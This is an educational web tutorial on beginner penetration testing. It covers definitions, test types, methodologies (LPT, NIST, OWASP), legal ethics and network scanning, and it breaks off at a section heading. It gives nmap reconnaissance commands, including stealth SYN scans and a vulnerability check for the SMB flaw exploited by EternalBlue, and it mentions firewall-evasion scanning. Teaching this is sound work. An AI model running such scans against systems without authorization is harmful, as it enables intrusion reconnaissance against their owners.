ADVANCED PENETRATION TESTING FOR BEGINNERS

By Harsh Choudhary | 09 Jan 2020 | (10 Reviews)

Suggest Improvement on Advanced Penetration Testing For Beginners Click here



Advanced Penetration Testing – Guide

This module introduces the foundations of Penetration Testing (Ethical Hacking), covering what it is, why it is needed, types, phases, and legal considerations.


1.1 What is Penetration Testing?

Penetration Testing (Pen Testing) is a controlled and authorized security assessment performed to identify vulnerabilities in systems, networks, or applications before malicious hackers can exploit them.

In simple words, penetration testing means intentionally trying to break into your own system to find weak points and fix them before real attackers discover them.

Think of it like hiring a professional “ethical burglar” to check whether your digital doors, windows, and locks are secure. The purpose is not to cause damage, but to make your system safer and stronger.


🔍 Why is Penetration Testing Important?
  • 🔐 Finds security weaknesses before hackers do
  • 🛡 Helps protect sensitive data like passwords, personal details, and financial information
  • ⚙ Improves overall system security and stability
  • 📜 Helps meet security compliance and audit requirements
  • 🚨 Reduces the risk of data breaches and cyber attacks
💡 Example: A company hires a pentester to test their online banking app. The pentester finds a vulnerability → reports it → developers fix it → users stay safe.
🧠 What Does a Penetration Tester Do?

A penetration tester (also called an ethical hacker) uses the same techniques and tools as real attackers, but in a safe and legal way.

  • ✔ Scans systems for known vulnerabilities
  • ✔ Attempts to exploit weaknesses to check their impact
  • ✔ Identifies misconfigurations and poor security practices
  • ✔ Documents findings and suggests security improvements
🧩 Types of Systems Tested
  • 🌐 Websites and Web Applications
  • 📱 Mobile Applications (Android / iOS)
  • 🖥 Servers and Operating Systems
  • 📡 Networks (Wi-Fi, LAN, Firewalls)
  • ☁ Cloud environments (AWS, Azure, GCP)
🧪 How Penetration Testing Works (Simple Steps)
  1. Planning: Define scope, targets, and permissions
  2. Scanning: Discover open ports, services, and weaknesses
  3. Exploitation: Safely test vulnerabilities
  4. Reporting: Explain risks and how to fix them
💡 Key Point: Penetration Testing focuses not only on finding vulnerabilities, but also on understanding their real-world impact.
⚠️ Important:
Penetration Testing is legal only with proper authorization.
Testing systems without permission is illegal and considered a cybercrime.

Security Audit vs Vulnerability Assessment vs Penetration Testing

These three terms are often confused, but they serve different security purposes. Think of them as three different levels of checking security — from rules, to weaknesses, to real attacks.


🔐 1. Security Audit

A Security Audit is a formal review of an organization’s security policies, procedures, and controls. It checks whether security rules are properly defined and followed.

It does not attack systems. Instead, it verifies:

  • 📜 Security policies and documentation
  • 🔑 Access control rules
  • 📁 Data protection standards
  • ⚙ Compliance with laws and regulations

Example: Checking whether password policies follow company rules (length, complexity, expiry).

💡 Simple analogy: Security Audit is like checking if rules exist and are written properly.

Key Points:

  • ✔ Policy-based
  • ✔ Documentation review
  • ✔ Compliance focused
  • ✔ No hacking involved

🛠 2. Vulnerability Assessment

A Vulnerability Assessment identifies security weaknesses in systems, applications, or networks.

It uses automated tools to scan for known vulnerabilities but usually does not exploit them.

  • 🔍 Finds missing patches
  • 🔓 Detects weak configurations
  • ⚠ Identifies outdated software
  • 📊 Assigns severity levels (Low, Medium, High)

Example: Finding that a server is running an outdated version of Apache with known vulnerabilities.

💡 Simple analogy: Vulnerability Assessment is like finding unlocked doors and broken windows.

Key Points:

  • ✔ Tool-based scanning
  • ✔ Lists vulnerabilities
  • ✔ No real attack
  • ✔ Fast and repeatable

⚔ 3. Penetration Testing

Penetration Testing goes one step further by actively exploiting vulnerabilities to see how much damage an attacker could actually do.

It simulates real-world cyber attacks in a safe and authorized manner.

  • 🎯 Exploits vulnerabilities
  • 🧠 Uses manual techniques and creativity
  • 🚨 Tests real impact
  • 📄 Provides detailed attack reports

Example: Using SQL Injection to gain unauthorized access to a database.

💡 Simple analogy: Penetration Testing is like actually breaking into the house to test security.

Key Points:

  • ✔ Real attack simulation
  • ✔ Manual + automated
  • ✔ Impact-focused
  • ✔ Requires legal permission

📊 Quick Comparison Table

Aspect Security Audit Vulnerability Assessment Penetration Testing
Focus Policies & Compliance Finding Weaknesses Exploiting Weaknesses
Attack Simulation No No Yes
Tools Used Checklists & Docs Automated Scanners Manual + Tools
Risk Level None Low Medium to High
Legal Permission Not Required Recommended Mandatory
Output Compliance Report Vulnerability List Exploitation Report

🎯 Which One Should You Choose?

  • 🔹 Security Audit: When compliance and policy review is needed
  • 🔹 Vulnerability Assessment: When you want to find known weaknesses
  • 🔹 Penetration Testing: When you want to test real attack scenarios
Best Practice: Organizations should use all three together for strong security.

🖥️ Security Testing vs Penetration Testing

Feature Security Testing Penetration Testing
Focus Overall security posture Identifying and validating vulnerabilities
Depth Broad coverage Deep technical assessment
Output Security gaps and recommendations Exploits, risks, and proof-of-concept (safe & controlled)
Use Case Routine health checks Assessing real-world attack readiness
🌟 In simple words: Pen Testing helps organizations fix weaknesses before real attackers find them.

1.2 Types of Penetration Testing

Penetration Testing can be performed in different ways depending on how much information the tester has and what is being tested. Each type serves a different security goal.

Below are the most common and important types of penetration testing, explained in a simple and practical way.

  1. ⚪ White Box Testing
    • Tester has full access to system details.
    • Includes source code, architecture diagrams, and credentials.
    • Allows deep and complete security testing.
    • Finds hidden logic flaws and hard-to-detect vulnerabilities.

    Example: Reviewing application source code to find insecure functions.

    🎯 Best for internal security and secure development.

  2. ⚙ Gray Box Testing
    • Tester has limited information.
    • Partial credentials or basic system knowledge is provided.
    • Balances realism with efficiency.
    • Very common in real-world testing.

    Example: Testing a user dashboard with a normal user login.

    ⚖ Practical and cost-effective.

  3. 🕶 Black Box Testing
    • Tester has no prior knowledge of the system.
    • No credentials, source code, or internal details are provided.
    • Simulates a real external attacker.
    • Focuses on what an outsider can see and exploit.

    Example: An attacker trying to hack a public website without any login access.

    ⏱ Most realistic but time-consuming.

  4. 🌐 Network Penetration Testing
    • Tests network devices and communication paths.
    • Includes firewalls, routers, switches, and servers.
    • Can be External or Internal.
    • Checks for open ports, weak protocols, and misconfigurations.

    Example: Detecting open SSH ports or weak firewall rules.

  5. 🌍 Web Application Penetration Testing
    • Focuses on websites, web portals, and APIs.
    • Tests authentication, authorization, and user input.
    • Looks for vulnerabilities like:
      • SQL Injection (SQLi)
      • Cross-Site Scripting (XSS)
      • Cross-Site Request Forgery (CSRF)
      • Broken Authentication

    Example: Trying to bypass login or steal session cookies.

  6. 📱 Mobile Application Penetration Testing
    • Tests Android and iOS applications.
    • Checks data storage, API security, and permissions.
    • Identifies insecure communication and hardcoded secrets.

    Example: Finding sensitive data stored in plain text on a mobile device.

  7. 📡 Wireless Penetration Testing
    • Focuses on Wi-Fi and wireless networks.
    • Tests encryption standards like WPA2 and WPA3.
    • Identifies rogue access points and weak passwords.

    Example: Cracking a weak Wi-Fi password to gain network access.

🌐 Website vs Web Application (Security View):

A Website mainly displays information (blogs, company pages, news) with little or no user interaction and usually faces content-related risks such as defacement and XSS.

A Web Application allows users to log in, submit data, upload files, and make payments. Because it interacts with backend systems, it faces high-impact risks like authentication bypass, data theft, business logic abuse, and financial fraud.
💡 Tip:
No single test is enough. Organizations often combine multiple types of penetration testing for strong security.
🧠 Beginner Advice:
Start learning with Web Application and Network Penetration Testing — they form the foundation of ethical hacking.

1.3 Penetration Testing Phases

Penetration Testing is performed in a structured and phased manner. These phases are commonly grouped into three major stages: Pre-Attack, Attack, and Post-Attack.

This approach ensures testing is legal, safe, repeatable, and focused on improving security rather than causing damage.

🟦 Pre-Attack Phase (Preparation & Discovery)

  1. 1. Planning & Scoping

    This phase defines what will be tested and how. No testing begins without proper planning.

    • 🎯 Define testing objectives and success criteria
    • 📍 Define scope (domains, IPs, applications)
    • 🚫 Identify out-of-scope systems
    • 📝 Obtain written legal authorization
    • ⏱ Set timelines, rules of engagement, and reporting format
  2. 2. Reconnaissance (Information Gathering)

    In this step, the tester collects information without directly attacking the target.

    • 🌐 Identify domains, subdomains, and IP addresses
    • ⚙ Detect technologies, frameworks, and servers
    • 📄 Use public sources (DNS, WHOIS, search engines)
    • 🕵 Mostly passive and low-risk

🟥 Attack Phase (Testing & Exploitation)

  1. 3. Scanning & Enumeration

    This phase identifies how the target system responds and what services are exposed.

    • 🔍 Identify open ports and running services
    • 🖥 Detect service versions and operating systems
    • 👥 Enumerate users, directories, and network resources
    • ⚠ Performed carefully to avoid disruption
  2. 4. Vulnerability Analysis

    Discovered services are analyzed for known or potential vulnerabilities.

    • 📊 Match services with known CVEs
    • 🧪 Use vulnerability scanners responsibly
    • ⚖ Prioritize vulnerabilities by risk level
    • 🧠 Remove false positives
  3. 5. Exploitation (Controlled & Limited)

    This phase safely proves that a vulnerability can actually be exploited.

    • ⚔ Attempt exploitation in a controlled manner
    • 🎯 Goal is proof-of-concept, not damage
    • 🚫 No data deletion or service interruption
    • 🧾 Document access gained

🟩 Post-Attack Phase (Impact & Reporting)

  1. 6. Post-Exploitation & Impact Analysis

    This step evaluates how far an attacker could go after initial access.

    • 📈 Assess business and data impact
    • 🔑 Check privilege escalation possibilities
    • 🔗 Identify lateral movement risks
    • 🧹 Clean up test accounts and artifacts
  2. 7. Reporting & Remediation

    Reporting is the most valuable output of a penetration test.

    • 📄 Clear explanation of each vulnerability
    • 📸 Screenshots and proof-of-concept evidence
    • 🔥 Risk ratings (Low / Medium / High / Critical)
    • 🛠 Practical remediation and mitigation steps
📘 Simple Flow:
Pre-Attack → Attack → Post-Attack → Fix → Retest
Industry Practice:
Penetration testing should be performed regularly and after major updates or deployments.

1.4 Penetration Testing Methodologies

A Penetration Testing Methodology is a structured framework that defines how security testing should be planned, executed, and reported.

These methodologies ensure testing is systematic, repeatable, legal, and effective. Different organizations follow different standards depending on their needs.


🛡 1. LPT (Licensed Penetration Tester)

LPT is a high-level penetration testing methodology and certification developed by EC-Council. It focuses on real-world, enterprise-level security testing.

  • 🎯 Covers full attack lifecycle (pre-attack → attack → post-attack)
  • 🏢 Designed for large organizations and critical infrastructure
  • ⚖ Strong focus on legal authorization and ethics
  • 📊 Emphasizes risk, business impact, and reporting

Example: Red-team style testing of a corporate network.

💡 Best for: Senior penetration testers & enterprise security teams

📘 2. NIST (National Institute of Standards and Technology)

NIST provides government-grade security guidelines. It is widely used by government agencies and regulated industries.

Penetration testing guidance mainly comes from: NIST SP 800-115.

NIST Testing Phases:
  1. Planning
  2. Discovery
  3. Attack
  4. Reporting
  • 📜 Compliance-oriented
  • 🔐 Strong focus on documentation
  • 🏛 Preferred for government systems
💡 Best for: Compliance, audits, government & regulated environments

🌐 3. OWASP (Open Web Application Security Project)

OWASP is the most popular methodology for Web Application Penetration Testing.

OWASP provides open-source standards like:

  • OWASP Top 10
  • OWASP Web Security Testing Guide (WSTG)
OWASP Testing Areas:
  • Authentication & Authorization
  • Session Management
  • Input Validation
  • API Security
  • Business Logic Flaws
💡 Best for: Websites, APIs, web & mobile applications

🔍 4. ISSAF (Information Systems Security Assessment Framework)

ISSAF is a comprehensive framework that focuses on technical depth and structured assessments.

It provides detailed testing steps for:

  • Networks
  • Applications
  • Operating Systems
  • Firewalls & IDS

ISSAF divides testing into:

  1. Planning & Preparation
  2. Assessment
  3. Reporting
  4. Cleanup
💡 Best for: Technical testers who want deep coverage

📊 5. OSSTMM (Open Source Security Testing Methodology Manual)

OSSTMM focuses on measuring security objectively, not just finding vulnerabilities.

It tests five main channels:

  • Human (social engineering)
  • Physical (buildings, access)
  • Wireless
  • Telecommunications
  • Data networks

OSSTMM introduces the concept of: Security Metrics & Trust Levels.

💡 Best for: Measuring overall organizational security posture

📌 Quick Comparison

Methodology Main Focus Best Use Case
LPT Enterprise & Real-World Attacks Advanced penetration testing
NIST Compliance & Standards Government & regulated sectors
OWASP Web Application Security Websites & APIs
ISSAF Technical Assessment Deep system testing
OSSTMM Security Measurement Overall security posture
Best Practice:
Real-world penetration testers often combine multiple methodologies depending on the target and objective.

EC-Council LPT Methodology (Six-Step Approach)

The LPT (Licensed Penetration Tester) methodology by EC-Council follows a structured six-step approach that simulates real-world cyber attacks while maintaining legal and ethical standards.

Each step builds upon the previous one and helps testers move from information discovery to risk validation and professional reporting.


1️⃣ Information Gathering (Reconnaissance)

This is the foundation of penetration testing. The goal is to collect as much information as possible about the target without actively attacking it.

  • 🌐 Identify domains, subdomains, and IP addresses
  • 📄 Collect public information (OSINT)
  • ⚙ Detect technologies, servers, and frameworks
  • 👥 Gather employee names, emails (where allowed)
  • 🕵 Mostly passive and stealthy

Example: Discovering a website uses Apache, PHP, and MySQL.

💡 LPT focuses on stealth and realism in this phase.

2️⃣ Scanning

In the scanning phase, the tester actively interacts with the target system to understand what is exposed and reachable.

  • 🔍 Identify open ports and services
  • 🖥 Detect operating systems and service versions
  • 📡 Identify network boundaries and firewalls
  • ⚠ Performed carefully to avoid service disruption

Example: Finding port 80 (HTTP) and port 22 (SSH) open.


3️⃣ Enumeration

Enumeration goes deeper than scanning. It aims to extract detailed information from identified services.

  • 👥 Enumerate users, groups, and roles
  • 📂 Discover directories, shares, and resources
  • 🗂 Identify running services and permissions
  • 🧠 Understand system structure and relationships

Example: Listing valid usernames from a login service.

⚠ Enumeration often reveals sensitive data if systems are misconfigured.

4️⃣ Vulnerability Assessment

In this phase, the tester identifies known security weaknesses in the discovered services and applications.

  • 📊 Match services with known vulnerabilities (CVEs)
  • 🧪 Use vulnerability scanners responsibly
  • ⚖ Classify risks (Low / Medium / High / Critical)
  • 🧠 Validate findings to remove false positives

Example: Identifying an outdated CMS plugin with a known vulnerability.


5️⃣ Exploit Research & Verification

This step determines whether identified vulnerabilities can actually be exploited.

  • 🔎 Research public and private exploits
  • ⚔ Safely test exploits in a controlled manner
  • 🎯 Prove impact without damaging systems
  • 📸 Collect proof-of-concept evidence

Example: Demonstrating SQL Injection by extracting test data.

🚫 LPT strictly prohibits destructive exploitation.

6️⃣ Reporting

Reporting is the most critical phase of the LPT methodology.

  • 📄 Clear explanation of vulnerabilities
  • 🔥 Business and technical impact
  • 📊 Risk ratings and severity levels
  • 🛠 Step-by-step remediation guidance
  • 📸 Screenshots, logs, and evidence

Example: Recommending patching, configuration changes, or redesign.

✅ LPT reports help organizations improve security, not just list problems.

📌 LPT Six-Step Flow (Easy View)

Information Gathering → Scanning → Enumeration → Vulnerability Assessment → Exploit Verification → Reporting

🧠 Beginner Tip:
Always master the first three steps — strong recon and enumeration make exploitation much easier.

When Should Penetration Testing Be Performed?

Penetration Testing should not be a one-time activity. It must be performed at critical moments in the system lifecycle to ensure security remains strong.

Below are the most important situations when penetration testing is necessary and recommended.


1️⃣ Before Launching a New Application or System

Before any website, application, or system goes live, it should be tested for security weaknesses.

  • 🚀 Prevents launching insecure software
  • 🔐 Protects user data from day one
  • 🛑 Reduces risk of early breaches

Example: Testing an e-commerce website before public release.


2️⃣ After Major Code Changes or Feature Updates

Even small changes can introduce new vulnerabilities. Any significant update should trigger penetration testing.

  • 🧩 New features may bypass existing security controls
  • ⚙ Code changes can introduce logic flaws
  • 🔁 Prevents regression vulnerabilities

Example: Adding payment gateway or login functionality.


3️⃣ After Infrastructure or Network Changes

Changes in servers, networks, or cloud environments can expose new attack surfaces.

  • ☁ Cloud migration (AWS, Azure, GCP)
  • 🌐 Firewall or network reconfiguration
  • 🖥 New servers or services deployment

Example: Moving on-prem servers to AWS cloud.


4️⃣ On a Regular Schedule (Periodic Testing)

Security threats evolve constantly. Regular penetration testing helps stay ahead of attackers.

  • 📅 Quarterly or bi-annual testing
  • 🔄 Identifies newly discovered vulnerabilities
  • 📈 Tracks security improvements over time
💡 Many organizations perform penetration testing at least once per year.

5️⃣ After a Security Breach or Incident

If a system has been compromised, penetration testing helps understand how the attack happened.

  • 🚨 Identify root cause of breach
  • 🧠 Detect hidden vulnerabilities
  • 🛠 Strengthen defenses against future attacks

Example: Testing systems after ransomware incident.


6️⃣ To Meet Compliance and Regulatory Requirements

Many regulations require penetration testing to protect sensitive data.

  • 📜 PCI-DSS (payment systems)
  • 🏥 HIPAA (healthcare data)
  • 🌍 ISO 27001
  • 🏛 Government security standards

Example: Annual PCI-DSS penetration testing for payment portals.


7️⃣ After Integrating Third-Party Services

Third-party APIs and services can introduce new security risks.

  • 🔌 Payment gateways
  • 📡 External APIs
  • 🤝 Partner systems

Example: Integrating a third-party authentication provider.


8️⃣ Before High-Risk Events or Traffic Spikes

Systems are more attractive to attackers during high-visibility events.

  • 🎉 Product launches
  • 🛒 Sales campaigns
  • 📣 Marketing promotions

Example: Testing before Black Friday sale.


📌 Simple Rule to Remember

Perform penetration testing before change, after change, and regularly.

Best Practice:
Combine Vulnerability Assessment with Penetration Testing for continuous security.

1.6 Legal & Ethical Considerations

Ethical hacking and penetration testing must strictly follow legal authorization and ethical guidelines. The goal is to improve security — not to misuse access.


🛡 Ethics of Penetration Testing

  • Perform penetration testing only with express written permission from the client or system owner (Rules of Engagement).
  • Work according to non-disclosure and liability clauses defined in the contract to protect sensitive data.
  • Test tools and exploits in an isolated laboratory environment before using them on live systems.
  • Notify the client immediately upon discovery of critical or highly vulnerable flaws.
  • Maintain a clear separation between a criminal hacker and a professional security tester by following ethics at all times.

⚖️ What is Legal?

  • ✔ Testing with written authorization
  • ✔ Following defined scope and rules
  • ✔ Responsible and confidential reporting
  • ✔ Protecting client data and privacy

❌ What is Illegal?

  • ❌ Accessing systems without permission
  • ❌ Stealing, modifying, or deleting data
  • ❌ Causing downtime or service disruption
  • ❌ Selling vulnerabilities to criminals
⚠️ Unauthorized Access = Cyber Crime
Always obtain written permission before testing any system.

🧠 Responsible Disclosure

Ethical hackers must follow responsible disclosure. Vulnerabilities should be reported privately to the organization, giving them enough time to fix the issue before any public disclosure.

💡 Remember:
Ethics is what separates an ethical hacker from a cyber criminal.

1.7 Certifications & Career Path

Penetration Testing is a high-demand career in cybersecurity. Certifications help structure your learning and validate your skills.

🎓 Popular Certifications

  • 🔰 CEH – Certified Ethical Hacker (Beginner/Intermediate)
  • 🧪 eJPT – Junior Penetration Tester (Beginner)
  • 🔥 OSCP – Offensive Security Certified Professional (Advanced, Hands-on)
  • 🛡️ CompTIA PenTest+ (Intermediate)

💼 Career Growth Path

Level Role Skills Required
Beginner Security Analyst / Junior Pentester Basics, networking, Linux, tools
Intermediate Penetration Tester Web app testing, enumeration, scripting
Advanced Red Team Specialist Advanced exploitation, AD attacks
Expert Security Architect / Consultant Full security design, audits, leadership
🌟 In simple words: Penetration Testing is a stable, high-paying, future-proof career with huge growth opportunities.

Network Penetration Test – Important Questions & Answers

Before conducting a Network Penetration Test, security teams must clearly define scope, objectives, timing, and limitations. The following questions help ensure the test is safe, legal, and effective.


1️⃣ Why is the customer having the penetration test performed against their environment?

Answer:
The customer conducts a penetration test to:

  • Identify security weaknesses before attackers
  • Protect sensitive data and systems
  • Evaluate real-world attack scenarios
  • Meet compliance and regulatory requirements
  • Improve overall security posture

2️⃣ Is the penetration test required for a specific compliance requirement?

Answer:
Yes. Many organizations perform penetration testing to comply with:

  • PCI-DSS (payment card systems)
  • ISO 27001
  • HIPAA (healthcare)
  • Government and industry regulations

3️⃣ When does the customer want the active portions of the penetration test conducted?

Answer:
Active testing (scanning, exploitation) should be performed:

  • During approved maintenance windows
  • When system usage is low
  • With prior client authorization

4️⃣ Should testing be done during business hours or after business hours?

Answer:
This depends on the objective:

  • During business hours: Tests detection and response capability
  • After business hours: Minimizes risk of downtime

5️⃣ How many total IP addresses are being tested?

Answer:
The number of IP addresses defines:

  • The scope of the penetration test
  • Time and resources required
  • Depth of testing

6️⃣ How many internal IP addresses are being tested?

Answer:
Internal IP testing focuses on:

  • Insider threats
  • Privilege escalation risks
  • Lateral movement within the network

7️⃣ How many external IP addresses are being tested?

Answer:
External IP testing evaluates:

  • Internet-facing systems
  • Public servers and services
  • Initial attack entry points

8️⃣ Are there any devices that may impact penetration test results?

Answer:
Yes. Devices such as:

  • Firewalls
  • IDS / IPS
  • Web Application Firewalls (WAF)
  • Antivirus / EDR solutions

These controls may block or detect attacks and must be documented.


9️⃣ In case of a successful compromise, how should the testing team proceed?

Answer:
The team must:

  • Follow Rules of Engagement (RoE)
  • Limit further exploitation
  • Immediately notify the client
  • Avoid data damage or service disruption

🔟 Should local vulnerability assessment be performed on the compromised machine?

Answer:
Yes, only if explicitly authorized in scope. This helps:

  • Identify local weaknesses
  • Assess privilege escalation risk

1️⃣1️⃣ Should the tester attempt to gain highest privileges (SYSTEM/root)?

Answer:
Yes, but only with permission. This:

  • Demonstrates worst-case impact
  • Measures full system compromise risk
  • Requires proof-of-concept only

1️⃣2️⃣ Should password attacks be performed on local password hashes?

Answer:
Password attacks must be:

  • Minimal and controlled
  • Dictionary-based where possible
  • Avoid exhaustive brute-force unless approved
Important:
All actions must remain within scope and authorization.
Key Takeaway:
A successful network penetration test depends on planning, scope definition, authorization, and control.

🎓 Module 01 : Introduction Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 02 – In-Depth Scanning

In this module, you will learn how penetration testers discover live hosts, identify open ports, detect running services, and safely map network layouts — all using structured & ethical techniques.


2.1 What is Scanning?

Advanced scanning is the process of extracting deeper and more precise information about a target system or network. It goes far beyond simply identifying open ports.

While basic scanning answers “What is exposed?”, advanced scanning answers “How is it exposed, how secure is it, and how can it be abused?”

  • ✔ Detecting exact services and software running on open ports
  • ✔ Identifying service versions and configuration details
  • ✔ Discovering known vulnerabilities linked to those services
  • ✔ Analyzing firewall behavior and filtering rules
  • ✔ Identifying IDS/IPS or security controls in place

Advanced scanning often involves active evasion and precision techniques to gather information without triggering alerts or defensive mechanisms.

  • 🛠 Stealth and evasive scan techniques
  • 🛠 Custom packet crafting and flag manipulation
  • 🛠 Script-based scanning (e.g., NSE scripts)
  • 🛠 High-speed and large-scale scanning tools
  • 🛠 Firewall and rate-limit bypass techniques
💡 Pentester’s Insight:
Advanced scanning is where reconnaissance starts turning into exploitation planning. The goal is not noise — it is accuracy, stealth, and actionable intelligence.
⚠️ Important: Scanning should only be done on systems you are authorized to test. Unauthorized scanning is considered illegal.

🎯 Why Scanning is Important

  • 🔍 Helps identify weak entry points
  • 📡 Reveals exposed services
  • 🛠 Helps in vulnerability assessment
  • 🧩 Maps the structure of the target network

🔐 Types of Scanning (High-Level)

Type Purpose Example
Host Discovery Finds which systems are alive Ping sweep
Port Scanning Identify open network ports Scanning ports 80, 443, 22, 21
Service Detection Finds which service is running on an open port HTTP, SSH, DNS, FTP
Version Detection Checks software version for vulnerabilities Apache 2.4.49
💡 In simple words: Scanning helps you identify doors (ports) and the software behind those doors.

2.2 Host Discovery Concepts

Host discovery determines whether a system is online or offline. This is the first step before performing deeper scans.

🖥️ How Pentesters Discover Live Hosts

  1. ICMP Echo Requests (Ping)
    • Sends an ICMP packet to check if the host replies.
    • Fast but frequently blocked by firewalls.
  2. ARP Scanning (Local Network)
    • Checks devices in the same local network (LAN).
    • Reliable because ARP cannot be blocked easily.
  3. TCP SYN Ping
    • Sends a SYN packet to a common port (80/443).
    • If SYN/ACK returns → host is alive.
  4. UDP Probes
    • Sends packets to UDP ports like DNS (53) or SNMP (161).

🔍 When Host Discovery is Useful

  • ✔ Mapping entire network ranges
  • ✔ Finding forgotten or unmanaged systems
  • ✔ Identifying reachable internal hosts
💡 Example: If a company has 500 IPs, host discovery helps you find the 70 machines that are currently active.

2.3 Service & Version Detection

After finding open ports, the next step is to identify:

  • ✔ What service is running?
  • ✔ What version of the service?
  • ✔ Is it vulnerable or outdated?

🧩 Why Version Detection Matters

Most vulnerabilities apply to specific versions of software (e.g., Apache 2.4.49 → known exploit). Version detection helps identify such risks.

🖥️ Examples of Common Ports & Services

Port Protocol Service
80TCPHTTP (Web Server)
443TCPHTTPS (Secure Web Server)
21TCPFTP
22TCPSSH Remote Login
25TCPSMTP Mail Server
53UDPDNS Query Service
3306TCPMySQL Database
💡 Remember: Every open port is a potential entry point — your job is to identify and analyze them safely.

🛑 Challenges in Service Detection

  • 🔸 Firewalls that block probes
  • 🔸 Load balancers that mask real services
  • 🔸 Services running on non-standard ports

Example: A web server running on port 8080 instead of 80.


🔌 Ports 139 & 445 – NetBIOS and SMB Explained

Ports 139 and 445 are commonly found on Windows systems and are used for file sharing, printer sharing, and network communication. These ports are extremely important during internal penetration testing.


📁 Port 139 – NetBIOS Session Service

Port 139 is used by NetBIOS (Network Basic Input Output System). It allows computers on the same network to:

  • ✔ Discover other computers
  • ✔ Share files and printers
  • ✔ Communicate using computer names (not IPs)
🧠 Easy Explanation
🏠 Imagine a local office where computers talk using names like HR-PC or FINANCE-SERVER. NetBIOS helps computers find each other using names instead of IP addresses.
⚠️ Security Risks of Port 139
  • 🚨 Usernames can be leaked
  • 🚨 Shared folders may be visible
  • 🚨 Weak authentication can be abused
  • 🚨 Used in old Windows attacks
🔍 How Pentesters Scan Port 139
nmap -p 139 --script nbstat 192.168.1.10
💡 This reveals computer name, workgroup, and NetBIOS information.

🗂️ Port 445 – SMB (Server Message Block)

Port 445 is used by SMB (Server Message Block). It allows direct communication for:

  • ✔ File sharing
  • ✔ Printer sharing
  • ✔ Windows authentication
  • ✔ Active Directory communication
🧠 Easy Explanation
🗄️ SMB is like a shared cupboard in an office. If permissions are weak, anyone can open it and take files.
🚨 Why Port 445 Is Very Dangerous
  • 🔥 Used in EternalBlue (MS17-010)
  • 🔥 Exploited by WannaCry ransomware
  • 🔥 Allows remote code execution if unpatched
  • 🔥 Common target in internal attacks
🔍 Common SMB Scanning Commands
nmap -p 445 --script smb-os-discovery 192.168.1.10
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.10
⚠️ If SMB is exposed and unpatched, the system is at high risk.

🔎 Port 139 vs Port 445 (Quick Comparison)

Feature Port 139 Port 445
Service NetBIOS SMB
Used By Older Windows Modern Windows
Name Resolution Yes No
File Sharing Yes Yes
Risk Level Medium Very High
🛑 Security Best Practice:
Block ports 139 and 445 at the perimeter firewall. Allow them only inside trusted internal networks.

2.4 Safe Scanning Techniques

Scanning can be intrusive if not done properly. Safe scanning ensures the network stays stable during assessments.

🟢 Safe Scanning Principles

  • ✔ Use slow & steady scanning to reduce load
  • ✔ Avoid scanning production servers heavily
  • ✔ Track scan timings & performance impact
  • ✔ Use non-intrusive scan modes when needed

🚫 What to Avoid

  • ❌ Aggressive scanning during business hours
  • ❌ Full port scans on unstable servers
  • ❌ Triggering DoS-related probes
⚠️ Example: Scanning a weak router with aggressive options may cause it to freeze or reboot.

🧠 Best Practices

  • 📌 Scan in batches
  • 📌 Use maintenance windows
  • 📌 Document scan intensity settings

2.5 Identifying Network Layouts

Mapping the network layout helps penetration testers understand how different devices, servers, and services communicate.

📡 Why Network Mapping is Important

  • ✔ Shows how systems are connected
  • ✔ Helps identify key assets
  • ✔ Highlights potential attack paths
  • ✔ Reveals firewalls, routers & segmentation

🧱 Common Network Components

Component Role Example
Router Connects networks & directs traffic Internet ↔ Office Network
Switch Connects internal devices (LAN) PCs ↔ Servers
Firewall Blocks / Allows traffic based on rules Perimeter security
DMZ Isolated zone for public-facing services Web, mail, DNS servers
💡 Example: A typical network may look like: Internet → Firewall → DMZ → Internal Network → Servers Understanding this structure helps identify potential risks.

🧩 What Pentesters Look For

  • 🔸 Segmented vs flat networks
  • 🔸 Critical assets (DB, AD servers)
  • 🔸 Misconfigured network devices
  • 🔸 Unrecognized hosts

2.6 Practical Scanning Commands (MOST IMPORTANT)

🔹 Nmap Commands

1. Nmap Host Discovery – Ping Scan
nmap -sn 192.168.1.0/24

This command performs a host discovery (ping scan) on the 192.168.1.0/24 network to find which systems are online (alive). It does not scan ports.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -sn → Ping scan only (no port scanning)
  • 192.168.1.0/24 → Network range (256 IPs)
🎯 What This Scan Does
  • ✔ Finds which hosts are online
  • ✔ Uses ICMP, ARP (LAN), and TCP probes
  • ✔ Very fast and low noise
  • ✔ Safe first step before deeper scans
📌 When to Use This Command
  • 🔸 Initial reconnaissance
  • 🔸 Large networks
  • 🔸 To reduce scan scope
📄 Example Output

Nmap scan report for 192.168.1.5
Host is up (0.0020s latency).

Nmap scan report for 192.168.1.12
Host is up (0.0015s latency).
                             
💡 Next Step:
Run port scans only on live hosts:
nmap -sS 192.168.1.5
⚠️ Note:
Some firewalls block ICMP. Use -Pn if hosts appear offline.

2. Nmap Stealth Scan – Top 100 Ports
nmap -sS -Pn --top-ports 100 192.168.1.10

This command performs a fast and stealthy scan on the 100 most commonly used ports of the target system.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -sS → SYN (half-open) scan, difficult to detect
  • -Pn → Skip ping check, treat host as alive
  • --top-ports 100 → Scan only the 100 most popular ports
  • 192.168.1.10 → Target IP address
🎯 Why This Scan is Useful
  • ✔ Very fast compared to full port scan
  • ✔ Focuses on ports most likely to be open
  • ✔ Generates less network noise
  • ✔ Ideal for first-phase reconnaissance
📌 When to Use This Command
  • 🔸 Initial penetration testing phase
  • 🔸 Large networks where time is limited
  • 🔸 Systems with ICMP blocked by firewalls
📄 Example Output

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
                             
💡 Next Step:
Use -sV or -A on discovered ports for deeper analysis.

3. Nmap HTTP Enumeration – Methods, Title & Headers
nmap -p 80,443 --script http-methods,http-title,http-headers 192.168.1.0/24

This command scans web servers on ports 80 (HTTP) and 443 (HTTPS) to collect important information such as allowed HTTP methods, page titles, and HTTP headers.

🧩 Command Breakdown (Easy Explanation)
  • nmap → Network scanning tool
  • -p 80,443 → Scan only HTTP and HTTPS ports
  • --script http-methods → Finds allowed HTTP methods (GET, POST, PUT, DELETE)
  • --script http-title → Extracts the web page title
  • --script http-headers → Displays HTTP response headers
  • 192.168.1.0/24 → Target network range
🎯 Why This Scan Is Important
  • ✔ Identifies misconfigured web servers
  • ✔ Detects dangerous HTTP methods like PUT or DELETE
  • ✔ Reveals server technologies via headers
  • ✔ Helps fingerprint web applications
📌 Common Security Risks Found
